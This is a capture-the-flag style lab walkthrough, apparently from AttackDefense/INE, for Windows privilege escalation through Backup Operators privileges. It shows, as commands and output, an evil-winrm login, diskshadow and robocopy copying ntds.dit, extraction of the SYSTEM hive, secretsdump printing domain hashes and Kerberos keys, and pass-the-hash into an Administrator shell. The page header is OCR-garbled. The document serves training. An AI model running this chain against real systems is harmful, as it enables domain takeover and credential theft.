PENTESTER ACADEMYTOOL BOX PENTESTING
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PATURED TEAM LABS ATTACKDEFENSE LABS
RITAINING COURSES ACCESS POINT PENTESTER
TEAM LABSPENTESTER TOOL BOY DO TO TO TEAM LAB
PATURED TEAM LABS RELUTION TO TEAM LAB
RITAINING COURSES ACCESS POINT PENTESTER
TOOL BOX TOOL BOY DO TO TO TEAM LAB
ATTACKDEFENSE LABS TRAINING COURSES PATURE CESS
PENTESTED LEGISLACIONES TRAINING HACKER
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Name	Windows Priv Esc - SeRestorePrivilege		
URL	https://attackdefense.com/challengedetails?cid=2408		
Туре	Basic Exploitation: Pentesting		

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Kali Machine:



Step 1: Run a Nmap scan against the target machine.

Command: nmap --top-ports 10000 demo.ine.local

```
root@INE:~# nmap --top-ports 10000 demo.ine.local
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 13:32 IST
Nmap scan report for demo.ine.local (10.0.18.230)
Host is up (0.061s latency).
Not shown: 8336 closed tcp ports (reset)
PORT
         STATE SERVICE
         open domain
53/tcp
         open kerberos-sec
88/tcp
135/tcp
         open msrpc
         open netbios-ssn
139/tcp
389/tcp
         open ldap
445/tcp
         open microsoft-ds
464/tcp
         open kpasswd5
593/tcp
         open http-rpc-epmap
636/tcp
         open ldapssl
3268/tcp open globalcatLDAP
3269/tcp
         open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
Nmap done: 1 IP address (1 host up) scanned in 13.06 seconds
root@INE:~#
```

Multiple Ports are open

Step 2: The winrm server is running on port 5985. By default, the WinRM service uses port 5985 for an HTTP connection.

The credentials to access the remote server are mentioned below:

Username Password student hacker_123321

Use this cred to run the evil-winrm tool on the target machine to gain access.

Checking the help of the tool.

Command: evil-winrm.rb --help

```
File Actions Edit View Help
 root@INE:~# evil-winrm.rb --help
-S, --ssl
-c, --pub-key PUBLIC_KEY_PATH
                                               Local path to public key certificate
     -k, --priv-key PRIVATE KEY PATH
Local path to private key certificate
-r, --realm DOMAIN

Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = {
.r, --realm DOMAIN
kdc = fooserver.contoso.com }
-s, --scripts PS SCRIPTS_PATH
--spn SPN_PREFIX
--spn SPN_PREFIX
                                               Powershell scripts local path
                                              SPN prefix for Kerberos auth (default HTTP)
C# executables local path
                                              Remote host IP or hostname. FQDN for Kerberos auth (required) Remote url endpoint (default /wsman)
     -i, --ip IP
-U, --url URL
-u, --user USER
                                               Username (required if not using kerberos)
     -p, --password PASS
-H, --hash HASH
                                               Password
                                               NTHash
      -P, --port PORT
                                               Remote host port (default 5985)
                                              Show version
Disable colors
     -V, --version
      -n, --no-colors
                                              Disable remote path completion
Log the WinRM session
Display this help message
     -N, --no-rpath-completion
     -l, --log
-h, --help
 root@INE:~#
                                                                                                                                                           1 2 3 4 13:22
🔪 🚍 🖊 🍏 🔄 🗠 Shell No. 1
```

Connect to the WinRM service using the provided credentials i.e student:hacker 123321

Command: evil-winrm.rb -u student -p hacker_123321 -i demo.ine.local

```
root@INE:~# evil-winrm.rb -u student -p hacker_123321 -i demo.ine.local
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc()
e
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\student\Documents>
```

Ignore the error message:

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Step 3: Check all the available privileges to the student user.

Command: whoami /priv

Evil-WinRM PS C:\Users\student\Documents> whoami /priv			
PRIVILEGES INFORMATION			
Privilege Name	Description	State	
=======================================	=======================================	======	
SeMachineAccountPrivilege	Add workstations to domain	Enabled	
SeBackupPrivilege	Back up files and directories	Enabled	
SeRestorePrivilege	Restore files and directories	Enabled	
SeShutdownPrivilege	Shut down the system	Enabled	
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled	
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled	
Evil-WinRM PS C:\Users\student\Documents>			

The user (student) has the **SeBackupPrivilege** and **SeRestorePrivilege** (Back up files and directories) privilege.

SeBackupPrivilege allows file content retrieval, even if the security descriptor on the file might not grant such access. A caller with SeBackupPrivilege enabled obviates the need for any ACL-based security check.

SeRestorePrivilege allows file content modification, even if the security descriptor on the file might not grant such access. This function can also be used to change the owner and protection.

Source: https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/privileges

Having both **SeBackupPrivilege** and **SeRestorePrivilege** privileges that confirm that the student must be a member of the "Backup Operators" group.

Confirm it:

Command: net localgroup "Backup Operators"



The current user (student) have both the (**SeBackupPrivilege** and **SeRestorePrivilege**) privileges, one can copy the **ntds.dit** file using the diskshadow windows in-built utility.

About Diskshadow:

Diskshadow.exe is a tool that exposes the functionality offered by the volume shadow copy Service (VSS). By default, Diskshadow uses an interactive command interpreter similar to that of Diskraid or Diskpart. Diskshadow also includes a scriptable mode.

Source:

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow

The file ntds.dit cannot be copied directly from the path. Because when a file is under-use then it is not possible to copy the file. Hence, we use diskshadow that helps us create a copy of a drive (C:\) that is currently in use. And, from the clone of the drive, we copy the ntds.dit file.

Step 4: Create a file and set instructions to copy C:\ drive into E: drive with an alias.

Command: nano ine.txt

""

set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias ineX
createX
expose %ine% E:X
end backupX

dos2unix ine.txt

```
root@INE:~# nano ine.txt
root@INE:~# cat ine.txt
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias ineX
createX
expose %ine% E:X
end backupX
root@INE:~# dos2unix ine.txt
dos2unix: converting file ine.txt to Unix format...
root@INE:~#
```

Upload the ine.txt file on the target machine.

Commands: upload /root/ine.txt

cat ine.txt

```
*Evil-WinRM* PS C:\Users\student\Documents> upload /root/ine.txt

Warning: Remember that in docker environment all local paths should be

Info: Uploading /root/ine.txt to C:\Users\student\Documents\ine.txt

Data: 244 bytes of 244 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\student\Documents> cat ine.txt
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias ineX
createX
expose %ine% E:X
end backupX
*Evil-WinRM* PS C:\Users\student\Documents>
```

Step 5: Run the diskshadow with script file using /s option and copy it into the current working directory using robocopy.

Robocopy is a kind of **cp** command – Copies file data from one location to another.

Commands: diskshadow /s ine.txt robocopy /b e:\windows\ntds . ntds.dit

```
*Evil-WinRM* PS C:\Users\student\Documents> diskshadow /s ine.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: ATTACKDEFENSE, 5/4/2022 9:48:29 AM

-> set verbose on
-> set metadata C:\Windows\Temp\meta.cab
-> set context clientaccessible
-> set context persistent
-> begin backup
-> add volume C: alias ine
-> create
```

```
Inserted file WM4.xml into .cab file meta.cab
Inserted file WM5.xml into .cab file meta.cab
Inserted file WM6.xml into .cab file meta.cab
Inserted file WM7.xml into .cab file meta.cab
Inserted file WM8.xml into .cab file meta.cab
Inserted file WM9.xml into .cab file meta.cab
Inserted file WM10.xml into .cab file meta.cab
Inserted file DisD803.tmp into .cab file meta.cab
Querying all shadow copies with the shadow copy set ID {24473569-dd4b-48da-aebe-07653cd6c83e}
          * Shadow copy ID = {ebb174cb-86be-451b-8d3e-11ecfa5e928e}
                                                                                                     %VSS SHADOW SET%
                     - Shadow copy set: {24473569-dd4b-48da-aebe-07653cd6c83e}
                      Original count of shadow copies = 1
Original volume name: \\?\Volume{d62cc1ce-0000-0000-0000-100000000000}\ [C:\]
Creation time: 5/4/2022 9:48:44 AM
                     - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
                      Originating machine: AttackDefense.ine.local
                      Service machine: AttackDefense.ine.local
                      Not exposed
                      Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
                      Attributes: No Auto Release Persistent Differential
Number of shadow copies listed: 1
-> expose %ine% E:
-> %ine% = {ebb174cb-86be-451b-8d3e-11ecfa5e928e}
The shadow copy was successfully exposed as E:\.
-> end backup
       WinRM* PS C:\Users\student\Documents>
```

```
98.0%
98.4%
98.8%
99.2%
99.6%
100%
100%
            Total Copied Skipped Mismatch FAILED
                                                         Extras
                    0
                            1 0
0 0
0 0
                                                   0
                                                              0
   Dirs :
  Files :
                1
                         1
                                                   0
                                                              0
  Bytes :
           16.00 m
                    16.00 m
                                                    0
           0:00:00
                    0:00:00
                                               0:00:00
                                                        0:00:00
  Times :
                 108240103 Bytes/sec.
  Speed:
  Speed:
                   6193.548 MegaBytes/min.
  Ended: Wednesday, May 4, 2022 9:49:05 AM
  vil-WinRM* PS C:\Users\student\Documents>
```

Step 6: Created a copy of the C:\ drive and copied the ntds.dit in the current working directory.

Save reg system file to extract the hashes. Save it in a C:\temp folder.

Command: mkdir C:\temp

reg save hklm\system c:\temp\system

Step 7: Download C:\temp\system and ntds.dit file to the attacker machine's root folder.

Commands: download C:\temp\system /root/system download C:\Users\student\Documents\ntds.dit /root/ntds.dit

Note: Copying the file to the attacker machine would take some time.

```
*Evil-WinRM* PS C:\Users\student\Documents> download C:\temp\system /root/system

Warning: Remember that in docker environment all local paths should be at /data and it must be mapped correctly

Info: Downloading C:\temp\system to /root/system

Info: Download successful!

*Evil-WinRM* PS C:\Users\student\Documents> download C:\Users\student\Documents\ntds.dit /root/ntds.dit

Warning: Remember that in docker environment all local paths should be at /data and it must be mapped correctly

Info: Downloading C:\Users\student\Documents\ntds.dit to /root/ntds.dit

Info: Download successful!

*Evil-WinRM* PS C:\Users\student\Documents> ■
```

Run secretsdump.py python script to extract hashes from the files. It is developed by Alberto Solino (@agsolino).

https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py

Command: secretsdump.py -ntds /root/ntds.dit -system /root/system LOCAL

```
root@INE:~# secretsdump.py -ntds /root/ntds.dit -system /root/system LOCAL
Impacket v0.9.25.dev1+20220503.174139.678981d2 - Copyright 2021 SecureAuth Corporation
    Target system bootKey: 0x377af0de68bdc918d22c57a263d38326
    Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: eb68070be27c6332fc16a6f91c354a13
[*] Reading and decrypting hashes from /root/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5c4d59391f656d5958dab124ffeabc20:::
student:1008:aad3b435b51404eeaad3b435b51404ee:bd4ca1fbe028f3c5066467a7f6a73b0b:::
ATTACKDEFENSE$:1009:aad3b435b51404eeaad3b435b51404ee:bfa1c8ca8f8a7f41c2cddd7a709167ed:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:cd3a959d395e6852b88e1e1c434c048a:::
[*] Kerberos keys from /root/ntds.dit
Administrator:aes256-cts-hmac-sha1-96:244d64aa743aa6ae74f67428cee0e646c4c99ad2144d64f233c4b97730dc1fd9
Administrator:aes128-cts-hmac-sha1-96:f9e119a37d7d1c79fedc1ba8ca5f90b4
Administrator:des-cbc-md5:3dd96e4a3851fdb0
student:aes256-cts-hmac-sha1-96:bab064fdaf62216a1577f1d5cd88e162f6962b4a421d199adf4c66b61ec6ac7c
student:aes128-cts-hmac-sha1-96:42bc1d17d1236d3afc09efbeba547d2c
student:des-cbc-md5:1a975b02a7bf15d5
ATTACKDEFENSE$:aes256-cts-hmac-sha1-96:066ee95d3642fa0301217464c17b30db017274e0653d7848081f25f5ec7ec3b0
ATTACKDEFENSE$:aes128-cts-hmac-sha1-96:713d340066dd37e86ec48921b13a4c82
ATTACKDEFENSE$:des-cbc-md5:70ae40294f587698
krbtgt:aes256-cts-hmac-sha1-96:ecf540ba871a2b270d811eb2484f97664a8f3becaled69758b28187b17f8673f
krbtgt:aes128-cts-hmac-sha1-96:f6bd2512d9456fe4d650dd6fa04a99d6
krbtgt:des-cbc-md5:5bab1f943dd651b3
[*] Cleaning_up...
root@INE:~#
```

Successfully, extracted the NTLM hashes. The administrator NTLM hash:

5c4d59391f656d5958dab124ffeabc20

Step 8: Gain high privilege winrm session using the Administrator account NTLM hash.

Commands: evil-winrm.rb -u administrator -H 5c4d59391f656d5958dab124ffeabc20 -i demo.ine.local whoami

```
root@INE:~# evil-winrm.rb -u administrator -H 5c4d59391f656d5958dab124ffeabc20 -i demo.ine.local

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
ine\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

References:

- 1. Windows Privilege Escalation: SeBackupPrivilege
- 2. Impacket
- 3. Diskshadow